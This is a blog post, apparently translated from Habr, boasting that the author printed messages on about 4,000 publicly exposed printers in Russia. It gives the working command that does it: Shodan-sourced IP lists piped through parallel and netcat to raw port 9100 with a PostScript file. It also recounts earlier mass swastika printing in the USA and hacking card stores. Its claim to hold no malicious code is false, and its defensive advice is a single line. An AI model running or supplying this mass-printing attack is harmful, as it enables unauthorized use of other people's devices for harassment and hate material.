How to hack thousands of printers in the Russian Federation and print everything you want

It would seem, who assigns public IP addresses to printers? But I recently found an interesting script that allows you to print anything on printers with public IP. For the first time using it, a swastika was printed on 20+ thousand printers in the USA. I decided to indulge with printers in the Russian Federation, the details and the script itself continued.



Code:

cat /tmp/russiaips | parallel —jobs 40 'cat russia.ps | netcat -q 0 {} 9100' 

')
"Russia.ps"
- PostScript image to be printed
"Russiaips"
- these are IP addresses of printers found in Shodan ( black search engine , examples of searching in Shodan ).

I managed to find only about 4 thousand printers (RF + a couple of neighboring countries), which I and
sent a message. I will not publish the message on Habré for ethical reasons, as well as the list of IP addresses, but I think the collection mechanism is understandable. This article is not a call to action and does not contain any malicious code, but it makes you think about the security of publicly available data and the possible consequences.

Ways of protection are obvious - do not assign public IP addresses to printers if this is not absolutely necessary.

As you can see, similar actions can cause significant public response: the Washington Post , NY Times , IB Times article, depending on what to print.

PS Everyone was worried that “competent authorities” took me after the article “How we hacked 18 working card stores and didn’t take a cent” and “they” deleted it, it’s not like that, nobody came with me, nobody came wrote, and just deleted the article for violating the rules of Habr. I hope this will not be deleted.